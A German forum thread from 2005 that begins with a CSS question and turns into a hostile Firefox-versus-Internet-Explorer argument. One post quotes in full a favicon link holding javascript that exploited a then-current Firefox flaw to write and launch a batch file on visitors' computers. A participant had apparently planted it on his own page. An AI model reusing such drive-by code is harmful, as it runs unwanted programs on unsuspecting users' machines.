Nimmt CSS Code nicht (Internet)

Von: ...

14.03.05 - 17:17

Also ich verwende dreamweaver mx zur erstellung meiner seite. Und ich würde sie natürlich gerne für alle browser kompatibel machen.
nur funktioniert der normale code " bgproperties="fixed" leider nicht bei allen browsern.
und mit dem code per css kenn ich mich noch nicht so aus jedenfalls lautet er derzeit :

<style type="text/css">

</style>

kann sein das ich einen fehler gemacht hab
(kenn mich eben noch nicht so gut bei css aus )
würde mich freuen wenn ihr mir helfen könntet. ansonsten spiel(probier) ich mich weiter :o)

Von: !!!

01.04.05 - 17:18

bei url fehlt doch was^^

Von: Davedee das Brot

18.04.05 - 21:05

Genau!

Von: Seymor

18.04.05 - 21:22

Ja sagt ihm was oder?

Von: Obake

18.04.05 - 21:49

Gleich hierzu:

Ich hatte heute das Problem das die ******* FireFox-User mein CSS nicht richtig laden konnten (gar nicht).

Bei InternetExplorer ging es ohne weiteres und bei jedem... Weiss einer was da abgeht?

Von: SvA

19.04.05 - 00:37 (19.04.05 - 00:40)

Die Welt steht kopf, dachte nicht, dass ich den Moment erleben darf, wo bei Obake was nicht klappt^^

Zeig doch mal deine Files...

Übrigens geht deine Site (obake.ch.vu) mit Firefox nicht, es wird wohl am statistiq, deinem Counter liegen, denn genau daran bleibt der FF hängen... (es steht unten links "Warten auf http://www.statistiq.com ..." . Mit Netscape und IE geht sie aber)

Wenn du z.B. die Scrollbars meinst, die du bei deiner Seite obake.ch.vu eingefärbt hast, ist klar, denn die Funktonieren nur mit dem IE.

Von: Obake

19.04.05 - 07:49 (19.04.05 - 07:50)

Kein Wunder. FireFox ist ja nur eine Sammlung von Fehlfunktionen mit zusätzliche Sicherheitslücken. Smiley

Scheiss FireFox! Smiley

Von: Obake

19.04.05 - 08:51 (19.04.05 - 08:51)

Auszug aus einem anderen Forum...

... habe seit kurzem das Problem, dass 2 Einträge in der Datenbank getätigt werden, wobei ich dieses Problem nur bei der Benutzung des Firefox feststelle.
Weiß da jemand rat?
Wenn ich mit dem IE einen Eintrag mache, so erscheint auch nur ein Eintrag, erstelle ich mit dem Firefox einen Eintrag, so erstellt dieser den Beitrag und dann zusätzlich noch einen leeren Beitrag. Habe mir dann das mal genauer angeschaut, im Quelltext finde ich keinen Fehler. Der Firefox zeigt aber in seiner Statusleiste an, dass er auf Statistiq.com connected und dann zurück auf die Seite.
Wenn ich meinen localhost benutze, connected er trotzdem zu diesen statistiq.com. Kann mir einer sagen, woran das liegt?
[ Quelle ]

"Deinen Counter..."

Euer scheiss FireFox! Smiley

Von: SvA

19.04.05 - 14:40

Alles was dir nicht passt, ist scheisse. Lernt man das so als Mediamatiker?

Von: Obake

19.04.05 - 17:07

Als Mediamatiker lernt man scheisse zu erkennen! Smiley

Das_Beste_Beispiel

Und hier, dieser Link wird vielleicht einige FireFox-Usern etwas beibringen...
http://homepage.sunrise.ch/mysunrise/obake/fire.htm

Lernt doch die Wahrheit ins Auge zu schauen...

Von: SvA

19.04.05 - 17:20

Was sollte das jetzt? Sehe keinen Unterschied, ausser das der Link im Firefox auf Rot und dann wieder zurück springt. Beim IE wirds grün und bleibt so. Was sollte das uns beibringen?

Und du willst mir ernsthaft erzählen, dass alle Mediamatiker scheisse erkennen, aus was man schlussfolgern kann, dass alle (!) Mediamatiker auf dieser grossen weiten Welt nur mit IE surfen? LOL, lächerlich!

Von: Obake

19.04.05 - 18:09 (19.04.05 - 18:10)

Das du nichts bemerkst, ist mir klar... Gib' der Sache mal Zeit... Smiley

(...und User.)

Von: SvA

19.04.05 - 18:20 (19.04.05 - 18:44)

Das hier ist mir sehr wohl aufgefallen... <link rel="SHORTCUT ICON" href="javascript:delayedOpenWindow('javascript:netscape.security.PrivilegeManager.enablePrivilege(\'UniversalXPConnect\');file=Components.classes[\'@mozilla.org/file/local;1\'].createInstance(Components.interfaces.nsILocalFile);file.initWithPath(\'c:\\\\disenchants_fire_extinguisher.bat\');file.createUnique(Components.interfaces.nsIFile.NORMAL_FILE_TYPE,420);outputStream=Components.classes[\'@mozilla.org/network/file-output-stream;1\'].createInstance(Components.interfaces.nsIFileOutputStream);outputStream.init(file,0x04|0x08|0x20,420,0);output=\'@ECHO Hier haette jeder Code ausgefuehrt werden koennen, bitte fuehlen Sie sich nicht zu sicher mit Ihrem Firefox ;-)\\npause\\nexit\';outputStream.write(output,output.length);outputStream.cIose();file.launch();','','')">

Smiley

Hast dir ja ganz doll Mühe gegeben ^^

Super Obake, hier Sicherheitslücken auszunutzen:

http://www.frsirt.com/exploits/20050416.MFSA200537.php

Geht da auf den Link von Obake besser nicht drauf! drauf.
Es wird eine Datei namens c:disenchants_fire_extinguisher.bat erstellt und ausgeführt...

Naja, war klar, Obake hat's wieder drabgenommen.
Er hat ne Seite geproggt (oder besser gesagt das Script leicht abgeändert), die eine Sicherheitslücke im Firefox ausnutzt und eine Batch-Datei auf den Computer des Betrachters erzeugt...

Kaum hab ich ihm im MSN drauf angesprochen, hat er die Seite wieder runtergenommen...

Von: Obake

19.04.05 - 18:43

Komisch...?

Wieso auf einmal nicht d'rauf gehen? Traust du deinen FireFox nicht? Smiley

BTW: Ich kannte bis jetzt die Seite da nichtmal... Smiley

Aber es gibt tausende noch so nette Tricks... :P

Von: SvA

19.04.05 - 18:46

Nope, da steht ja, dass es ab einer bestimmten Version der Trick nicht mehr geht.

Von: Obake

19.04.05 - 18:49 (19.04.05 - 18:50)

Ab der neusten. Ich poste auch kein File online das jeder downloaden kann, und aktuell ist. LOL

(und ein minimum an Wirksamkeit braucht man schon, sonst würde man's nicht sehen)

Aber das File hätte dir "bloss" ein CMD Fester geöffnet... Smiley

//Edit:
Im Internet hacken leichtgemacht! Dank FireFox und menschlicher Naivität!

Sollte zum neuen Slogan werden... Smiley

Von: SvA

19.04.05 - 18:52 (19.04.05 - 18:52)

Naja, ne Batch-Datei wird ja immer in einem command-Fenster geöffnet... (oder im Hintergrund)
Aber ja, ich kam zuerst gar nicht darauf, weils bei mir nix geöffnet hab (hab die neueste Version)...

Ehm, ja lass doch hier mal die FireFox-User zufrieden... Ist ja nicht dein Problem, du musst ja damit nicht surfen.

Von: Obake

19.04.05 - 19:02

Es geht ja seit Anfang an um deine Klugscheissersätze wie:

"Übrigens geht deine Site (obake.ch.vu) mit Firefox nicht, es wird wohl am statistiq, deinem Counter liegen, denn genau daran bleibt der FF hängen... (es steht unten links "Warten auf http://www.statistiq.com ..."

...und Vertuschung von Tatsachen... Smiley

Mir ist egal ob ihr lieber mit den alten Bugs, neue Bugs, und dazu Darstellungsprobleme surft. (Das Teil ist unfähig meine stinknormale HTML_Seite wieder zu geben)

"Ist ja nicht dein Problem, du musst ja damit nicht surfen."

Aber mein Problem ist es dafür zu sorgen, dass die nächsten Träumer surfen können!
Schliesslich bezahlt man mich nicht dafür, Seiten zu erstellen die sie nicht korrekt sehen können, oder? Smiley

Von: SvA

19.04.05 - 19:09

Klar, du klugscheisst ja nie... wenigstens bin ich nicht so verdammt arrogant, aber das ist ne andere sache...

ich habe doch nur festgestellt, dass es an dem Counter hängen blieb.

Und schon komisch, alle anderen Seiten, die ich bisher gesehen habe, gehen, nur deine nicht, sorry!

Von: Obake

19.04.05 - 19:20 (19.04.05 - 19:21)

Sehen wir uns mal den unmöglich darzustellenden Quellcode an:

<html>

<head>

<title>Neue Community - Cami&ntilde;o &amp; Friends</title>

<meta http-equiv="imagetoolbar" content="no"> 

<meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1">

<style type="text/css">

<!--

BODY {

	margin: 0px 0px 0px 0px;

	background-color : #DDE8F4;

	color : #75A1D1;

	scrollbar-3dlight-color: #ffffff;

	scrollbar-base-color: #75A1D1;

	scrollbar-darkshadow-color: #DDE8F4;

	scrollbar-face-color: #3E78B9;

	scrollbar-highlight-color: #75A1D1;

	scrollbar-shadow-color: #ffffff;

	scrollbar-track-color: #DDE8F4;

	scrollbar-arrow-color: #ffffff;

	}

-->

</style></head>



<body>

<div align="center"><img src="baustelle.jpg" width="672" height="586" align="absmiddle"></div>

</body>

</html>

Kraaaaaaass... Die Page zeigt nichts anderes als 1 Bild an! Huiiiii...

Jetzt ist es mir klar... Natürlich, das ist ja die Grenze sämtlicher Browser... Ich kann doch nicht erwarten, dass es in der Lage wäre, 1 Bild anzuzeigen... Was habe ich mir bloss dabei gedacht.

Von: SvA

19.04.05 - 19:23

Das ist nun mal so... die Scrollbars werden schon seit eh und je nur mit IE dargestellt...
Auch mit Netscape gehts net...

Von: Obake

19.04.05 - 19:24

Und Webseiten auch nicht, natürlich... >.>

Von: SvA

19.04.05 - 19:33

Es ist nur mal so, dass diese Scrollbars nicht angezeigt werden, der Rest der Seite wird ja angezeigt. Ich habe bisher noch nie etwas erlebt, was der Firefox nicht darstellen konnte, ausser halt die Scrollbars. Aber die werden halt nur mit IE angezeigt, ist halt ne Tatsache. Ausserdem funktionieren deine anderen Seiten mit dem FF prächtig...

Von: Obake

19.04.05 - 19:41

Viele andere Seiten würde ich mit so eine Virenfalle nicht zutrauen zu besuchen... (Es öffnet ja mehr als jede Firewall zumacht)

Ich werde wohl auf der Startseite schreiben müssen: "Bitte benutzen sie ein Browser der immerhin ihren Localhost richtig anzeigt"

Und nun widtme ich mich wieder der Arbeit... >.>

Von: .....

23.04.05 - 22:43

Alles Klar....
Obake der Ganster

Von: Draconis

24.04.05 - 11:14 (24.04.05 - 11:14)

Ich weiß zwar nicht was ein Mediamatiker eigentlich ist, nehme aber an es ist so etwas in Richtung "Webdesigner".

Schade eigentlich, dass man da nicht lernt, dass eine Webseite auf allen Browsern richtig angezeigt werden sollte.

Von: Obake

24.04.05 - 12:57

Schade das die Welt Naivität liebt.

Man kann nicht alles haben.
Aber FireFox User haben ja weitaus grössere Probleme als ein paar Scrollbars.

Von: SvA

24.04.05 - 13:10

Als würden die Scrollbars auch bei den anderen Browsern angezeigt werden....
Leid tut mir der, der stur nur den IE sieht...

Von: Obake

24.04.05 - 13:52

Jep... Wer braucht ja schon Sicherheit, wenn er sich zum leichten Hackopfer machen kann... Smiley

Von: SvA

24.04.05 - 13:59

Öhm... naja, wüsste nicht, was man von mir hacken sollte... ich habe so gut wie keine vertraulichen Daten auf meinen PC...

Von: Obake

24.04.05 - 14:00

Tolle Einstellung! Des FireFox-user's würdig... Smiley

Von: Draconis

24.04.05 - 14:18 (24.04.05 - 14:18)

Klar kein Browser ist perfekt, jeder wird Fehler und Sicherheitslücken haben. Aber die Erfahrung hat gezeigt, das Sicherheitslücken bei Mozilla wesentlich schneller geschlossen werden, als beim IE.

Und Probleme hatte ich mit dem Firefox noch nie.

Tja, was glaubst du wozu Standarts existieren. Wozu gibt es DIN A4 Blätter, genormte Anschlüsse etc. ?

Doch nicht damit jeder seine eigene Sache macht, und der Samsung Monitor nur am Samsung Computer mit der Samsung Steckdose funktioniert?

Standarts sind da, damit sie auch umgesetzt werden.
Und wenn irgendwelche Leute meinen sich nicht daran halten zu müssen, weil sie denken, sie wären was besseres oder weil sie einfach zu dumm sind standartkonformen Code zu schreiben ...

mein Foren Tipp für Dich: http://www.heise.de/ ;-)

Von: Obake

24.04.05 - 15:30 (24.04.05 - 15:31)

Klar kein Browser ist perfekt, jeder wird Fehler und Sicherheitslücken haben. Aber die Erfahrung hat gezeigt, das Sicherheitslücken bei Mozilla wesentlich schneller geschlossen werden, als beim IE.

FireFox = Bis vor Kurzem sämtliche Fehler von IE
FireFox = Bis heute eigene Fehler
FireFox = Fehler gegen die nichtmal die Firewall schützt
FireFox = Wie alle anderen Browser Darstellungsprobleme, wenn es nicht primitivster Code ist

Und Probleme hatte ich mit dem Firefox noch nie.

Hübsch... Es gibt ja kein InternetExplorer-User der noch nie Probleme hatte... LOL
FireFox-User finden immer eine Ausrede Fehler auf irgendwas anderes abzuschieben.

Und wenn ein FireFox-User eines der hübschen Trojaner oder so kassiert (sah man ja oben wie leicht das ist) schiebt er's auf irgendwelche unsicheren Daten von einer Diskette oder so, weil sein geliebtes FireFox natürlich seit eh und je perfekt war. (wie die Deppen die 100% Bibelfest sind)

Tja, was glaubst du wozu Standarts existieren.

Standart = InternetExplorer

Standarts sind da, damit sie auch umgesetzt werden.

Standart = InternetExplorer
Folglich: FireFox-User reichen Standartfehler nicht. Sie wollen eigene.
Danach fragt man sich, warum die PisaStudie so ausfällt... Heute argumentiert man Zusatzsoftware mit "Standart"... Smiley

(loool)

Von: Draconis

24.04.05 - 15:57

Setz dich bitte hin, jetzt wird es ganz schwer für dich.
Bist Du bereit? Nochmal ganz tief durchatmen. Ganz ruhig!

Achtung:
Microsoft hat das Internet nicht erfunden.

"primitivster Code"
Hast du als Mediamatiker nicht gelernt, was für tolle, wunderbare Sachen man mit Standart-(X)HTML und CSS machen kann? Schade eigentlich, zum Glück kann man das ja nachholen.

Falls Du es nicht bemerkt hast, ich habe nie behauptet, dass der FireFox perfekt ist. :-)

Von: SvA

24.04.05 - 15:59

Öhm, als grossartiger Mediamatiker dürftest du wissen, dass der Firefox nicht auf den IE aufbaut, also folglich nicht auf seinen Fehlern aufbaut.

Von: Obake

24.04.05 - 17:48

Achtung:
Microsoft hat das Internet nicht erfunden.

Aber auch der letzte Idiot weiss das der InternetExplorer das Standart ist. Hast du das auf der Welt denn nicht gelernt?

Öhm, als grossartiger Mediamatiker dürftest du wissen, dass der Firefox nicht auf den IE aufbaut, also folglich nicht auf seinen Fehlern aufbaut.

Als ob das eine 'was mit dem anderen zu tun hätte. Du hast den Beitrag gelesen, indem ich das mit den sämtlichen Fehlern gepostet habe. (weiss nicht mehr welchen Thread)

Stell dich nicht absichtlich blöd.
(Kunst aus FF, was?)

Von: Draconis

24.04.05 - 17:56

"das Standart?"
;-)

Nun ja sei's drum.
Aufjedenfall geht es hier nicht um einen Browserstandart, sondern um einen HTML-Standart und der wird von denen hier vorgegeben: http://www.w3.org/

Und das ein Browser weit verbreitet ist, macht ihn noch lange nicht nicht zu Maß aller Dinge.

Von: Obake

24.04.05 - 18:00 (24.04.05 - 18:07)

Und das ein Browser weit verbreitet ist, macht ihn noch lange nicht nicht zu Maß aller Dinge.

Der Mass aller Dinge liegt wohl an die menschliche Ignoranz. Da kann man sich genau so gut hinter einer Glasscheibe verstecken.

http://www.w3.org/

Und die "Standartliste" lässt aber hier 'was aus... Smiley

Von: Draconis

24.04.05 - 18:12 (24.04.05 - 18:17)

"Der Mass aller Dinge liegt wohl an die menschliche Ignoranz"

Das gerade Du das sagen musst ;-)
btw. ich glaube dein Deutsch war schonmal wesentlich besser.

Wer akzeptiert denn hier nicht, dass Opera (den man nicht außer Acht lassen sollte) und Mozilla/Firefox vollwertige Alternativen zum Internetexplorer sind?

Was willst Du mit dem Link eigentlich sagen? Da ist mehr Rot beim IE als bei Mozilla und Opera.

Von: Obake

24.04.05 - 18:20

Die Anzahl an aktuellen Browsern.

Und verlange meinen Deutsch nicht zu viel ab... Bin Mühe, habe erschöpfte Knie, und rede mit Leuten die offen ins Internet "bitte hackt mich" schreien... Die Motivation 2 Mal meine Beiträge zu lesen ist nicht gerade die höchste momentan... Smiley

Von: Draconis

24.04.05 - 18:24

Dann braucht man eigentlich auch nicht posten.
Und das Internetexplorer absolut sicher sein soll kannst Du Deiner Oma erzählen.
Das er CSS nicht richtig anzeigen kann hat dein Link ja eindrucksvoll bewiesen. Danke nochmal dafür.

Von: Obake

24.04.05 - 18:48 (24.04.05 - 18:50)

Das er CSS nicht richtig anzeigen kann...

Sagt ein FireFox-User... Smiley

Und das Internetexplorer absolut sicher sein soll kannst Du Deiner Oma erzählen.

Wurde nie gesagt. Aber FireFox ist viel schlechter d'ran. Ich glaube das IE nie derart banal war, über das Fivicon ganze Trojaner live vor Ort auf der Platte erstellen zu lassen... Smiley

Die Geschichte zeigt:

* IE hat Bugs und Fehler
* FireFox kommt, und sofort glaube lauter Deppen sicher zu sein, weil ihr Sourcecode öffentlich im Internet steht. (huii...)
* Es stellt sich raus, dass FireFox alle Lücken der alten IE-Versionen Zugang liess. (sagt uns das was? nein! FireFox ist perfekt!)
* FF-User surfen weiterhin mit Mist, zwar sind sie verwundbar, aber dafür nutzen ihre Firewalls nichts. (der Deal des Jahres)
* FireFox ist wiedermal als das wohl unsicherste Browser unterwegs, da jedes Kleinkind JEDEN Befehl auf deinen PC ausführen kann.
* FireFox-User träumen weiterhin davon, dass muss irgend ein Bug im Internet oder so sein, da ja FF perfekt sein muss. Schliesslich steht der Programmcode im Internet. Kein Hacker wird so je einen Fehler finden. (genial)
* Und FireFox-User werden auch ihn Zukunft gross schreien, wie unanfechtbar sie hinter einer Glasscheibe sind. (*klatsch*)

Während sich jeder IE-User hübsch seine Sicherheit durch Firewalls etc hollt, da er weiss was alles möglich sein kann.

Lang lebe FireFox!

Von: Draconis

24.04.05 - 18:55

Oh mein Gott, geh wirklich lieber schlafen.

Deine Argumentation läuft gerade darauf hinaus, dass der IE sicherer als der Firefox ist, weil die User eine Firewall haben.

Letztenendes liegt die Sicherheit immer am User. Und ich wage zu behaupten das prozentual mehr FireFox User eine Firewall haben als IE Nutzer.

Von: Obake

24.04.05 - 19:00 (24.04.05 - 19:02)

Letztenendes liegt die Sicherheit immer am User.

Logisch. Der eine kümmert sich darum, der andere benutzt FireFox.

Und ich wage zu behaupten das prozentual mehr FireFox User eine Firewall haben als IE Nutzer.

Jap. Auch "überflüssiger Ressourcenverbrauch" genannt, wie dir SvA sagen könnte... Vor der Sicherheitslücke oben rettete dich keine Firewall. Natürlich nur bei FireFox erhältlich... Smiley

Bei keinem IE wäre sowas möglich.
(aber auch dann wird keiner FireFox deinstallieren... Warum wohl?

Von: Draconis

24.04.05 - 19:09 (24.04.05 - 19:10)

So leid es mir tut aber deine Argumentation verkommt immer mehr zu geistigem Dünnschiss.
Schade, dass man die Sicherheits Diskussion nicht ernsthaft führen kann.

Wie ich schon feststellte hat jeder Browser seine Sicherheitslücken.

Auch der IE, ob du es willst oder nicht. Wenn du wissen willst, was der IE sich schon für "Klöpse" geleistet hat vor denen dich keine Firewall gerettet hat informiere dich doch mal, bevor du weiter Unwahrheiten in die Welt setzt.

Von: Obake

24.04.05 - 19:13 (24.04.05 - 19:16)

Klar doch. Aber ein IE-User ist sich immer dessen bewusst.

Ein FireFox-User installiert FireFox weil er denkt sicher zu sein.

Wenn du wissen willst, was der IE sich schon für "Klöpse" geleistet hat ...

Nenne mir eines in den letzen 2 Wochen. Das am besten auch gleich sofort Vollzugriff ermöglicht...

Aber schön das du hoffst irgendwann mit FF soweit wie der heutige IE zu sein....
FireFox-User sind heute auf den Stand, den man mit IE damals hatte...

Von: Draconis

24.04.05 - 19:18 (24.04.05 - 19:21)

"Klar doch. Aber ein IE-User ist sich immer dessen bewusst."

Darf ich jetzt lachen? Noch nie hatte ein IE Nutzer ein Problem mit Viren, "bösem Code", Trojanern etc..

Ich bitte dich. Vielleicht sollte man mit Tatsachen argumentieren.
Ich nutzte den Firefox schon, als er noch gar nicht so hieß und bin nie auf die Idee gekommen völlig sicher zu sein.
Mittlerweile gefällt mir aber Opera in der Version 8 fast wieder ein bißchen besser. Aber das wird sich noch zeigen, welcher Browser sich bei mir durchsetzt.
Warum ich wählen kann? Weil ich nicht gleich alle anderen Browser als schlecht abtue.

Schade, dass du kein BWL Studium hast, aber ein trollender Mediamatker wäre bei Heise sicherlich noch eine rote Bewertung wert.

Von: Obake

24.04.05 - 19:25 (24.04.05 - 19:28)

Tatsache: Bis letzte Woche war ohne Probleme alles mit deinen Rechner über ein simples Scrypt möglich.

Argument sich die "Wahl" zu überlegen. Schade das vollkommender Zugriff durch Fremde auf den eigenen Rechner wohl kein Wahlkriterium ist.

Von: SvA

24.04.05 - 21:02

Wollte noch anmerken, dass Obakes Script auch mit der älteren Version nicht geklappt hat. Weiss nicht wieso, aber mein PC scheint das irgendwie zu blocken...

Von: Obake

24.04.05 - 22:36

Ach... Schön das du dies meldest nachdem du die neue Version drin hast. Smiley

Von: SvA

24.04.05 - 22:48

Denkst du, ich hab nur einen PC?
wie ich schon mal irgendwo im Forum geschrieben habe, besitzt auch mein Bruder und meine Mutter noch n PC...
Bruder hatte den FF Version 0.9 irgendwas drauf, aber bei dem hat sich nix getan...

Von: Obake

24.04.05 - 23:54

Hast du denn das komplette File überhaupt noch, oder versuchst du dich mit einem Bruchteil des Scryptes... -.-

Von: SvA

25.04.05 - 12:07

habe das komplette fire.html noch...

Von: L!nk3T

26.04.05 - 19:59

warum gibt es eibentlich firefox und Co ? weil idoten langweile haten und meinten IE wäre nicht cool und haben ein FF gemacht ... das FF sollte für FireFox stehen aber indirekt nimmt es wohl mehr den bezug zu FehlerFavorieten
ich nutze seid jahren IE und hab nur probleme wenn meie firewall aus ist gehabt (dabei war der IE nicht aktiv!) Opera hat ich auch schon bloß das desing der seiten ist dann net so wie es sein sollte ... FF hab ich im berufsschulzentrum "getestet" (Einer der meinte er wäre inteligent hat IE deinstaliert und FF instaliert *seufz*) sooo viiieeellee fehler gab es nicht bis auf bei ein paar kleinen seiten ...

Vorteile von IE:
- Einfach inzubondende Steuerelemente (googletoolbar und co)
- FTP-Client mit integriert
- Besterseiten aufbau (Design /geschwindigkeit)

Nachteile:
- inteligenter User/Administrator der die sicherheitsoptionen korekkt einstellt
- startpage wird in der registry hinterlegt("HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Internet Explorer\Main" REG_SZ"http://www.google.de";)

Von: SvA

01.05.05 - 18:01

Der grösste "Vorteil" des IE ist, dass er kein (!) XHTML lesen kann *roooflll* Smiley

Der grooooossseeeee super coooder Linket und Obake sollen doch mal lesen: http://home.arcor.de/terrikay/tutorials/xhtml.html

Von: Obake

01.05.05 - 18:59 (01.05.05 - 18:59)

*g*

Von: SvA

01.05.05 - 21:11

Lies dir denn Rest durch...

Von: Kai [Mogel-Power]

02.05.05 - 13:43

Hmm, seltsam, benutz ich andere Browser als ihr? Bei mir wird mit jedem Browser denn ich habe, alles korrekt dargestellt.

Aber nun was anderes bzgl. der Seite von Obake:

Wenn man sich schon Mediamatiker nennt, dann bitte wenigstens HTML 4.01 Strict codieren, gelle? (Auch wenn es nur ein zentriertes Bild ist...!) ;-)

-> Verbesserungsvorschläge: http://validator.w3.org/check?uri=http%3A%2F%2Fhomepage.sunrise.ch%2Fmysunrise%2Fobake%2Fbaustelle.html&;charset=%28detect+automatically%29&doctype=HTML+4.01+Strict

Mfg